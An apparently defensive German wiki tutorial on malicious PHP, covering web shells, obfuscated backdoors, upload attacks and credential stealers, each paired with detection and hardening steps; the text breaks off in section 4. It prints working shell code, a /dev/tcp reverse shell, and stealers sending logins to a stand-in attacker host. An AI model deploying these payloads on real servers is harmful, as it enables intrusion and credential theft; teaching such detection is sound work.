Php Malicious: Unterschied zwischen den Versionen
(Die Seite wurde neu angelegt: „*PHP Web Shell Backdoors“) |
|||
| (4 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
| − | *[[PHP Web Shell Backdoors]] | + | = Malicious PHP = |
| + | |||
| + | Dieser Artikel behandelt die sieben häufigsten Muster von bösartigem PHP-Code. | ||
| + | Für jedes Muster gibt es drei Blickwinkel: | ||
| + | * '''Was der Angreifer will''' – Ziel und typischer Angriffscode | ||
| + | * '''Red Flags''' – Erkennungsmerkmale im Code und in Logs | ||
| + | * '''Gegenmaßnahmen''' – sichere Programmierung, Serverkonfiguration, Scanning | ||
| + | |||
| + | ---- | ||
| + | |||
| + | == 1. Web Shell Backdoors == | ||
| + | |||
| + | === Was der Angreifer will === | ||
| + | |||
| + | Ein verstecktes „Control Panel", das beliebige Systembefehle auf dem Server ausführt. | ||
| + | Der Angreifer braucht dazu keinen SSH- oder FTP-Zugang – ein normaler HTTP-Request reicht. | ||
| + | Web Shells sind der häufigste Persistenzmechanismus nach einer initialen Kompromittierung, | ||
| + | z. B. über eine unsichere Datei-Upload-Funktion oder ein veraltetes CMS-Plugin. | ||
| + | |||
| + | ==== Minimale Web Shell (GET-Parameter) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Dateiname: header.php, img001.php, thumb.php – bewusst unauffällig | ||
| + | // Ablageort: /uploads/, /images/, /cache/ | ||
| + | // Aufruf: http://opfer.example.com/uploads/header.php?cmd=id | ||
| + | |||
| + | if (isset($_GET['cmd'])) { | ||
| + | system($_GET['cmd']); | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Angreifer ruft die Shell auf: | ||
| + | curl "http://opfer.example.com/uploads/header.php?cmd=id" | ||
| + | # Ausgabe: uid=33(www-data) gid=33(www-data) groups=33(www-data) | ||
| + | |||
| + | curl "http://opfer.example.com/uploads/header.php?cmd=cat+/etc/passwd" | ||
| + | # Ausgabe: root:x:0:0:root:/root:/bin/bash ... | ||
| + | |||
| + | # Reverse Shell starten (Angreifer lauscht auf Port 4444): | ||
| + | curl "http://opfer.example.com/uploads/header.php?cmd=bash+-i+>%26+/dev/tcp/192.168.1.99/4444+0>%261" | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Erweiterte Shell über POST (schwerer im Access-Log erkennbar) ==== | ||
| + | |||
| + | GET-Parameter landen vollständig im Access-Log. POST-Body wird dort nicht geloggt, | ||
| + | was die Shell schwerer auffindbar macht. | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // POST-Body landet nicht im Apache Access-Log → schwerer zu erkennen | ||
| + | if (isset($_POST['x'])) { | ||
| + | $output = shell_exec($_POST['x'] . ' 2>&1'); | ||
| + | echo '<pre>' . htmlspecialchars($output) . '</pre>'; | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | curl -X POST http://opfer.example.com/wp-includes/class-wp-image.php \ | ||
| + | -d 'x=whoami' | ||
| + | # www-data | ||
| + | |||
| + | curl -X POST http://opfer.example.com/wp-includes/class-wp-image.php \ | ||
| + | -d 'x=ls -la /var/www/html' | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Typische Tarnnamen und Ablageorte ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | /uploads/img001.php | ||
| + | /uploads/2024/photo.php | ||
| + | /images/header.php | ||
| + | /cache/.thumbs.php # führender Punkt → unsichtbar ohne ls -a | ||
| + | /wp-includes/class-wp-image.php | ||
| + | /wp-content/plugins/contact-form/assets/js/jquery.min.php | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | === Red Flags === | ||
| + | |||
| + | * <code>system()</code>, <code>exec()</code>, <code>shell_exec()</code>, <code>passthru()</code>, <code>popen()</code> | ||
| + | * Direkter Zugriff auf <code>$_GET</code>, <code>$_POST</code>, <code>$_REQUEST</code> ohne jede Validierung | ||
| + | * Keine Authentifizierung vor der Ausführung | ||
| + | * PHP-Dateien in <code>/uploads/</code>, <code>/images/</code>, <code>/cache/</code> | ||
| + | * Dateinamen die legitime Dateien imitieren (<code>image.php</code>, <code>header.php</code>) | ||
| + | |||
| + | === Gegenmaßnahmen === | ||
| + | |||
| + | ==== Unsicherer Upload-Code (so entsteht das Problem) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // UNSICHER – keinerlei Validierung, PHP-Datei landet direkt im Webroot | ||
| + | if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) { | ||
| + | move_uploaded_file( | ||
| + | $_FILES['upload']['tmp_name'], | ||
| + | '/var/www/html/uploads/' . $_FILES['upload']['name'] | ||
| + | ); | ||
| + | echo "Upload erfolgreich."; | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Sicherer Upload-Code ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // SICHER – Whitelist, Umbenennung, Upload außerhalb Webroot | ||
| + | $allowed_mime = ['image/jpeg', 'image/png', 'image/gif']; | ||
| + | $upload_dir = '/var/data/uploads/'; // außerhalb /var/www/html ! | ||
| + | |||
| + | if ($_FILES['upload']['error'] !== UPLOAD_ERR_OK) { | ||
| + | die("Upload-Fehler."); | ||
| + | } | ||
| + | |||
| + | // MIME-Typ prüfen (nicht nur Dateiendung!) | ||
| + | $finfo = new finfo(FILEINFO_MIME_TYPE); | ||
| + | $mime = $finfo->file($_FILES['upload']['tmp_name']); | ||
| + | |||
| + | if (!in_array($mime, $allowed_mime, true)) { | ||
| + | die("Unerlaubter Dateityp: " . htmlspecialchars($mime)); | ||
| + | } | ||
| + | |||
| + | // Dateiname komplett neu generieren – Original-Name wird verworfen | ||
| + | $ext = 'jpg'; // Endung aus Whitelist, nicht aus Original-Name | ||
| + | $new_name = bin2hex(random_bytes(16)) . '.' . $ext; | ||
| + | |||
| + | move_uploaded_file($_FILES['upload']['tmp_name'], $upload_dir . $new_name); | ||
| + | echo "Upload gespeichert als: " . htmlspecialchars($new_name); | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== PHP-Ausführung in Upload-Verzeichnissen serverseitig unterbinden ==== | ||
| + | |||
| + | <syntaxhighlight lang="apache"> | ||
| + | # /etc/apache2/conf-available/no-php-uploads.conf | ||
| + | <Directory /var/www/html/uploads> | ||
| + | <FilesMatch "\.php$"> | ||
| + | Require all denied | ||
| + | </FilesMatch> | ||
| + | # Alternativ: PHP-Engine komplett aus | ||
| + | php_flag engine off | ||
| + | </Directory> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | a2enconf no-php-uploads | ||
| + | systemctl reload apache2 | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Gefährliche Funktionen in php.ini deaktivieren ==== | ||
| + | |||
| + | <syntaxhighlight lang="ini"> | ||
| + | ; /etc/php/8.2/apache2/php.ini | ||
| + | disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | systemctl restart apache2 | ||
| + | |||
| + | # Prüfen ob die Sperre greift: | ||
| + | php -r "system('id');" | ||
| + | # PHP Warning: system() has been disabled for security reasons | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== WAF-Regel (Coraza / ModSecurity) ==== | ||
| + | |||
| + | <syntaxhighlight lang="apache"> | ||
| + | # Requests mit Shell-typischen Parameternamen blockieren | ||
| + | SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell|pass|c)$" \ | ||
| + | "id:1001,phase:2,deny,status:403,log,msg:'Web Shell Parameter detected'" | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Web Shells im Filesystem aufspüren ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # PHP-Dateien mit Shell-Funktionen durchsuchen | ||
| + | grep -rn --include="*.php" \ | ||
| + | -e "system\s*(" \ | ||
| + | -e "shell_exec\s*(" \ | ||
| + | -e "passthru\s*(" \ | ||
| + | -e "exec\s*(" \ | ||
| + | /var/www/html/ | ||
| + | |||
| + | # PHP-Dateien in Upload-Verzeichnissen – sollte leer sein | ||
| + | find /var/www/html/uploads -name "*.php" -type f | ||
| + | |||
| + | # Versteckte PHP-Dateien (Punkt am Anfang) | ||
| + | find /var/www/html -name ".*.php" -type f | ||
| + | |||
| + | # Kürzlich geänderte PHP-Dateien (letzte 7 Tage) | ||
| + | find /var/www/html -name "*.php" -mtime -7 -ls | ||
| + | |||
| + | # Access-Log: Requests auf PHP-Dateien in Upload-Verzeichnissen | ||
| + | grep -E "/(uploads|images|cache)/.*\.php" /var/log/apache2/access.log | ||
| + | |||
| + | # Access-Log: Shell-typische GET-Parameter | ||
| + | grep -E "(cmd|exec|command|shell)=" /var/log/apache2/access.log | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ---- | ||
| + | |||
| + | == 2. Obfuscated Malware == | ||
| + | |||
| + | === Was der Angreifer will === | ||
| + | |||
| + | Den eigentlichen Schadcode so verschleiern, dass weder automatische Scanner noch | ||
| + | menschliche Code-Reviews ihn auf den ersten Blick erkennen. | ||
| + | Obfuskierung ist kein eigenständiger Angriff – sie ist fast immer die Tarnung für | ||
| + | einen anderen Angriffstyp: Web Shell, Credential Stealer oder Remote Downloader. | ||
| + | Je mehr Encoding-Ebenen, desto länger bleibt die Shell unentdeckt. | ||
| + | |||
| + | ==== Stufe 1: Einfaches Base64 + eval ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Klartext des Payloads: system($_GET['cmd']); | ||
| + | // Kodiert mit: echo -n "system(\$_GET['cmd']);" | base64 | ||
| + | |||
| + | $payload = base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'); | ||
| + | eval($payload); | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Analyse – Payload dekodieren ohne ihn auszuführen: | ||
| + | echo 'c3lzdGVtKCRfR0VUWydjbWQnXSk7' | base64 -d | ||
| + | # system($_GET['cmd']); | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Stufe 2: Mehrfach-Encoding (Base64 + gzip) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Payload: system($_GET['cmd']); | ||
| + | // Erst gzip-komprimiert, dann base64-kodiert | ||
| + | // Erstellt mit: echo -n "system(\$_GET['cmd']);" | gzip | base64 | ||
| + | |||
| + | $encoded = 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA='; | ||
| + | $payload = gzinflate(base64_decode($encoded)); | ||
| + | eval($payload); | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Dekodieren: | ||
| + | echo 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=' | base64 -d | gunzip | ||
| + | # system($_GET['cmd']); | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Stufe 3: str_rot13 (Zeichenrotation) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // rot13("system") = "flfgrz" | ||
| + | // Kein Base64 → umgeht simple base64-Signaturen in Scannern | ||
| + | |||
| + | $func = str_rot13('flfgrz'); // ergibt: system | ||
| + | $arg = str_rot13($_GET['pzq']); // rot13("cmd") = "pzq" | ||
| + | $func($arg); | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Aufruf: | ||
| + | curl "http://opfer.example.com/cache/img.php?pzq=id" | ||
| + | # uid=33(www-data) ... | ||
| + | |||
| + | # Analyse: | ||
| + | php -r "echo str_rot13('flfgrz');" | ||
| + | # system | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Stufe 4: Variable Funktionsnamen (kein klarer Funktionsname im Code) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Kein einziger bekannter Funktionsname im Code sichtbar | ||
| + | $a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // "system" | ||
| + | $b = $_GET['x']; | ||
| + | $a($b); | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # ASCII-Werte nachvollziehen: | ||
| + | php -r "echo chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);" | ||
| + | # system | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Stufe 5: Praxisbeispiel – Leafmailer-Webshell (reales Muster aus WordPress-Kompromittierungen) ==== | ||
| + | |||
| + | Dieses Muster wurde in kompromittierten WordPress-Installationen als scheinbar | ||
| + | harmlose Mailer-Datei gefunden: | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Dateiname: class-phpmailer.php – imitiert legitime WordPress-Datei | ||
| + | // Obfuskierungstechniken kombiniert: str_replace + base64 im Parameter | ||
| + | |||
| + | $fn = str_replace('_', '', 'sy_st_em'); // ergibt: system | ||
| + | $p = @$_POST[base64_decode('Y21k')]; // base64("cmd") = "cmd" | ||
| + | if (isset($p)) { | ||
| + | @$fn($p); | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # base64("cmd") nachvollziehen: | ||
| + | echo 'Y21k' | base64 -d | ||
| + | # cmd | ||
| + | |||
| + | # Aufruf: | ||
| + | curl -X POST http://opfer.example.com/wp-includes/class-phpmailer.php \ | ||
| + | -d 'cmd=id' | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | === Red Flags === | ||
| + | |||
| + | * <code>eval()</code> – führt beliebigen PHP-Code zur Laufzeit aus | ||
| + | * <code>base64_decode()</code> kombiniert mit <code>eval()</code> – klassisches Obfuskierungsmuster | ||
| + | * <code>gzinflate()</code>, <code>gzuncompress()</code>, <code>str_rot13()</code> | ||
| + | * <code>assert()</code> – verhält sich wie <code>eval()</code>, wird seltener gefiltert | ||
| + | * <code>create_function()</code> – veraltete Alternative zu anonymen Funktionen, häufig in altem Malware-Code | ||
| + | * Strings über 500 Zeichen ohne Leerzeichen – Hinweis auf eingebetteten Payload | ||
| + | * <code>chr()</code>-Verkettungen zur Rekonstruktion von Funktionsnamen | ||
| + | * <code>preg_replace()</code> mit <code>/e</code>-Modifier (PHP < 7.0) – führt Replacement als PHP-Code aus | ||
| + | |||
| + | === Gegenmaßnahmen === | ||
| + | |||
| + | ==== Unsicherer Code (so sieht Obfuskierung in einem eigentlich harmlosen Kontext aus) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // UNSICHER – eval mit Benutzereingabe, auch ohne Obfuskierung gefährlich | ||
| + | $template = $_GET['tpl']; | ||
| + | eval('echo "' . $template . '";'); | ||
| + | // Angreifer gibt ein: "; system('id'); echo " | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Sicherer Code – eval grundsätzlich vermeiden ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // SICHER – Template-Logik ohne eval | ||
| + | $allowed_templates = ['home', 'about', 'contact']; | ||
| + | $tpl = $_GET['tpl'] ?? 'home'; | ||
| + | |||
| + | if (!in_array($tpl, $allowed_templates, true)) { | ||
| + | die("Unbekanntes Template."); | ||
| + | } | ||
| + | |||
| + | // Datei mit festem Pfad einbinden – kein User-Input im Pfad | ||
| + | include __DIR__ . '/templates/' . $tpl . '.php'; | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== disable_functions in php.ini ==== | ||
| + | |||
| + | <syntaxhighlight lang="ini"> | ||
| + | ; /etc/php/8.2/apache2/php.ini | ||
| + | ; Hinweis: eval() ist ein Sprachkonstrukt, KEIN Funktionsaufruf | ||
| + | ; → es kann NICHT über disable_functions deaktiviert werden | ||
| + | ; assert() und create_function() hingegen schon: | ||
| + | disable_functions = assert, create_function | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Obfuszierten Code aufspüren ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # eval() mit Encoding-Funktionen kombiniert | ||
| + | grep -rn --include="*.php" \ | ||
| + | -e "eval\s*(base64_decode" \ | ||
| + | -e "eval\s*(gzinflate" \ | ||
| + | -e "eval\s*(str_rot13" \ | ||
| + | -e "assert\s*(" \ | ||
| + | -e "create_function" \ | ||
| + | /var/www/html/ | ||
| + | |||
| + | # Sehr lange Strings (Payload-Indikator) – minifizierte legitime Dateien ausschließen | ||
| + | grep -rn --include="*.php" -P '.{500,}' /var/www/html/ | grep -v "\.min\.php" | ||
| + | |||
| + | # chr()-Verkettungen (Funktionsnamen-Rekonstruktion) | ||
| + | grep -rn --include="*.php" "chr([0-9]\+)" /var/www/html/ | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Payload manuell dekodieren (ohne Ausführung) ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Base64 dekodieren | ||
| + | echo 'ENCODED_STRING' | base64 -d | ||
| + | |||
| + | # Base64 + gzip | ||
| + | echo 'ENCODED_STRING' | base64 -d | gunzip 2>/dev/null | ||
| + | |||
| + | # PHP-Oneliner zur Analyse (kein eval!) | ||
| + | php -r "echo base64_decode('ENCODED_STRING');" | ||
| + | php -r "echo gzinflate(base64_decode('ENCODED_STRING'));" | ||
| + | php -r "echo str_rot13('ENCODED_STRING');" | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== ClamAV und Maldet ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # ClamAV installieren und aktualisieren | ||
| + | apt install clamav | ||
| + | freshclam | ||
| + | |||
| + | # PHP-Dateien scannen | ||
| + | clamscan -r --include="*.php" /var/www/html/ | ||
| + | |||
| + | # Linux Malware Detect (Maldet) | ||
| + | wget https://www.rfxn.com/downloads/maldetect-current.tar.gz | ||
| + | tar xzf maldetect-current.tar.gz | ||
| + | cd maldetect-*/ | ||
| + | ./install.sh | ||
| + | |||
| + | # Scan starten | ||
| + | maldet --scan-all /var/www/html/ | ||
| + | maldet --report list | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ---- | ||
| + | |||
| + | == 3. File Upload Backdoors == | ||
| + | |||
| + | === Was der Angreifer will === | ||
| + | |||
| + | Eine PHP-Datei als Bild oder Dokument getarnt hochladen und anschließend als | ||
| + | Web Shell ausführen. Das Ziel ist, durch eine fehlerhaft implementierte | ||
| + | Upload-Funktion eine ausführbare Datei in ein öffentlich erreichbares Verzeichnis | ||
| + | zu platzieren. | ||
| + | |||
| + | ==== Angriff: Datei mit doppelter Endung ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Angreifer lädt eine Datei namens "shell.php.jpg" hoch | ||
| + | # Falls der Server nur die letzte Endung prüft → wird als Bild akzeptiert | ||
| + | # Falls Apache mit AddHandler oder MultiViews konfiguriert ist → wird als PHP ausgeführt | ||
| + | |||
| + | curl -F "file=@shell.php.jpg" http://opfer.example.com/upload.php | ||
| + | # Datei landet in /uploads/shell.php.jpg | ||
| + | |||
| + | # Ausführung als PHP (bei fehlerhafter Apache-Konfiguration): | ||
| + | curl "http://opfer.example.com/uploads/shell.php.jpg?cmd=id" | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Angriff: PHP-Datei mit gefälschtem MIME-Type ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Content-Type-Header wird vom Angreifer manipuliert – server-side MIME-Prüfung fehlt | ||
| + | curl -X POST http://opfer.example.com/upload.php \ | ||
| + | -F "file=@webshell.php;type=image/jpeg" | ||
| + | # Server akzeptiert die Datei weil Content-Type = image/jpeg → landet als .php im Webroot | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Unsicherer Upload-Code (das eigentliche Problem) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // UNSICHER – nur Content-Type aus dem Request geprüft (vom Angreifer frei wählbar) | ||
| + | if ($_FILES['file']['type'] === 'image/jpeg') { | ||
| + | move_uploaded_file( | ||
| + | $_FILES['file']['tmp_name'], | ||
| + | '/var/www/html/uploads/' . $_FILES['file']['name'] // Original-Name → gefährlich | ||
| + | ); | ||
| + | echo "Upload OK"; | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | === Red Flags === | ||
| + | |||
| + | * <code>$_FILES['x']['type']</code> wird ohne serverseitige MIME-Prüfung verwendet | ||
| + | * <code>move_uploaded_file()</code> mit Original-Dateiname (<code>$_FILES['x']['name']</code>) | ||
| + | * Upload-Ziel liegt innerhalb des Webroot | ||
| + | * Keine Prüfung der Dateiendung gegen eine Whitelist | ||
| + | * Dateinamen wie <code>shell.php.jpg</code>, <code>image.png.php</code> in Upload-Logs | ||
| + | |||
| + | === Gegenmaßnahmen === | ||
| + | |||
| + | ==== Sicherer Upload-Code ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // SICHER – serverseitige MIME-Prüfung, Whitelist, Umbenennung, Upload außerhalb Webroot | ||
| + | |||
| + | $allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp']; | ||
| + | $upload_dir = '/var/data/uploads/'; // NICHT innerhalb /var/www/html ! | ||
| + | |||
| + | // Fehlerprüfung | ||
| + | if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) { | ||
| + | http_response_code(400); | ||
| + | die("Kein gültiger Upload."); | ||
| + | } | ||
| + | |||
| + | // MIME-Typ serverseitig prüfen – NICHT $_FILES['file']['type'] verwenden! | ||
| + | // fileinfo liest die Magic Bytes der Datei selbst | ||
| + | $finfo = new finfo(FILEINFO_MIME_TYPE); | ||
| + | $mime = $finfo->file($_FILES['file']['tmp_name']); | ||
| + | |||
| + | if (!in_array($mime, $allowed_mime_types, true)) { | ||
| + | http_response_code(415); | ||
| + | die("Dateityp nicht erlaubt: " . htmlspecialchars($mime)); | ||
| + | } | ||
| + | |||
| + | // Dateiendung aus MIME ableiten – Original-Name wird komplett verworfen | ||
| + | $mime_to_ext = [ | ||
| + | 'image/jpeg' => 'jpg', | ||
| + | 'image/png' => 'png', | ||
| + | 'image/gif' => 'gif', | ||
| + | 'image/webp' => 'webp', | ||
| + | ]; | ||
| + | $ext = $mime_to_ext[$mime]; | ||
| + | $new_name = bin2hex(random_bytes(16)) . '.' . $ext; // zufälliger Name | ||
| + | |||
| + | if (!move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $new_name)) { | ||
| + | http_response_code(500); | ||
| + | die("Speichern fehlgeschlagen."); | ||
| + | } | ||
| + | |||
| + | echo "Gespeichert als: " . htmlspecialchars($new_name); | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== PHP-Ausführung in Upload-Verzeichnis deaktivieren ==== | ||
| + | |||
| + | <syntaxhighlight lang="apache"> | ||
| + | # /etc/apache2/conf-available/no-php-uploads.conf | ||
| + | <Directory /var/www/html/uploads> | ||
| + | php_flag engine off | ||
| + | <FilesMatch "\.php[0-9]?$"> | ||
| + | Require all denied | ||
| + | </FilesMatch> | ||
| + | # Auch .phtml, .phar blockieren: | ||
| + | <FilesMatch "\.(phtml|phar|php3|php4|php5|php7)$"> | ||
| + | Require all denied | ||
| + | </FilesMatch> | ||
| + | </Directory> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | a2enconf no-php-uploads | ||
| + | systemctl reload apache2 | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Apache: Gefährliche MultiViews-Konfiguration vermeiden ==== | ||
| + | |||
| + | <syntaxhighlight lang="apache"> | ||
| + | # MultiViews kann dazu führen dass shell.php.jpg als PHP ausgeführt wird | ||
| + | # SICHER: MultiViews deaktivieren | ||
| + | <Directory /var/www/html> | ||
| + | Options -MultiViews | ||
| + | </Directory> | ||
| + | |||
| + | # Gefährliche AddHandler-Direktiven vermeiden: | ||
| + | # UNSICHER (niemals so konfigurieren): | ||
| + | # AddHandler application/x-httpd-php .php .php5 .phtml .phar | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Suche nach Upload-Backdoors ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # PHP-Dateien in Upload-Verzeichnissen | ||
| + | find /var/www/html/uploads -name "*.php*" -type f | ||
| + | find /var/www/html/uploads -name "*.phar" -type f | ||
| + | find /var/www/html/uploads -name "*.phtml" -type f | ||
| + | |||
| + | # Dateien mit doppelter Endung | ||
| + | find /var/www/html/uploads -name "*.php.*" -type f | ||
| + | |||
| + | # Access-Log: PHP-Aufrufe aus Upload-Verzeichnis | ||
| + | grep -E "/(uploads|files|media)/.*\.(php|phar|phtml)" /var/log/apache2/access.log | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ---- | ||
| + | |||
| + | == 4. Credential & Data Stealers == | ||
| + | |||
| + | === Was der Angreifer will === | ||
| + | |||
| + | Admin-Passwörter, Session-Cookies und Datenbankzugangsdaten stehlen. | ||
| + | Der Angreifer modifiziert dazu bestehende Login-Formulare oder fügt Code in | ||
| + | zentrale Include-Dateien ein, der Zugangsdaten im Hintergrund mitloggt oder | ||
| + | an einen externen Server sendet – ohne dass der legitime Benutzer etwas bemerkt. | ||
| + | |||
| + | ==== Variante 1: Credentials in versteckte Datei schreiben ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Eingeschleust in eine Login-Seite (z. B. wp-login.php, index.php) | ||
| + | // Loggt Benutzername + Passwort + IP in eine versteckte Datei | ||
| + | |||
| + | if (isset($_POST['log']) && isset($_POST['pwd'])) { | ||
| + | $log_file = $_SERVER['DOCUMENT_ROOT'] . '/.cache/tmp/.data'; | ||
| + | $entry = date('Y-m-d H:i:s') . ' | ' | ||
| + | . $_SERVER['REMOTE_ADDR'] . ' | ' | ||
| + | . $_POST['log'] . ' | ' | ||
| + | . $_POST['pwd'] . "\n"; | ||
| + | file_put_contents($log_file, $entry, FILE_APPEND); | ||
| + | } | ||
| + | // Danach normaler Login-Code – Opfer bemerkt nichts | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Angreifer liest die gesammelte Log-Datei aus (über Web Shell oder direkten Zugriff): | ||
| + | curl "http://opfer.example.com/.cache/tmp/.data" | ||
| + | # 2024-05-01 14:23:11 | 192.168.1.50 | admin | SuperSecret123 | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Variante 2: Credentials per HTTP an externen Server senden ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Eingeschleust in functions.php oder eine zentrale Include-Datei | ||
| + | // Sendet Credentials sofort an Angreifer-Server | ||
| + | |||
| + | if (!empty($_POST)) { | ||
| + | $data = http_build_query($_POST); | ||
| + | // file_get_contents mit URL benötigt allow_url_fopen = On | ||
| + | @file_get_contents('http://angreifer.example.com/collect.php?' . $data); | ||
| + | // Alternativ mit curl (funktioniert auch wenn allow_url_fopen = Off): | ||
| + | // $ch = curl_init('http://angreifer.example.com/collect.php'); | ||
| + | // curl_setopt($ch, CURLOPT_POST, 1); | ||
| + | // curl_setopt($ch, CURLOPT_POSTFIELDS, $data); | ||
| + | // curl_exec($ch); | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Variante 3: Session-Cookie stehlen ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Eingeschleust in eine Seite die nach dem Login aufgerufen wird | ||
| + | // Stiehlt den Session-Cookie des angemeldeten Benutzers | ||
| + | |||
| + | if (isset($_COOKIE['PHPSESSID'])) { | ||
| + | $stolen = date('Y-m-d H:i:s') . ' | ' | ||
| + | . $_SERVER['REMOTE_ADDR'] . ' | ' | ||
| + | . 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . "\n"; | ||
| + | file_put_contents('/tmp/.sessions', $stolen, FILE_APPEND); | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Mit gestohlenem Cookie einloggen ohne Passwort: | ||
| + | curl -b "PHPSESSID=abc123gestohlen" http://opfer.example.com/wp-admin/ | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | === Red Flags === | ||
| + | |||
| + | * Schreibzugriffe auf Dateien in <code>/tmp/</code>, <code>/.cache/</code>, versteckte Dateien (<code>.data</code>, <code>.log</code>) | ||
| + | * <code>file_put_contents()</code> oder <code>fwrite()</code> mit <code>$_POST</code>/<code>$_GET</code>-Inhalten | ||
| + | * Unerwartete ausgehende HTTP-Requests (<code>file_get_contents(URL)</code>, <code>curl_exec()</code>) | ||
| + | * Unbekannte Logdateien mit Credentials-ähnlichem Inhalt | ||
| + | * Modifikation von Login-Dateien (<code>wp-login.php</code>, <code>index.php</code>) | ||
| + | |||
| + | === Gegenmaßnahmen === | ||
| + | |||
| + | ==== Passwörter niemals im Klartext verarbeiten ==== | ||
| + | |||
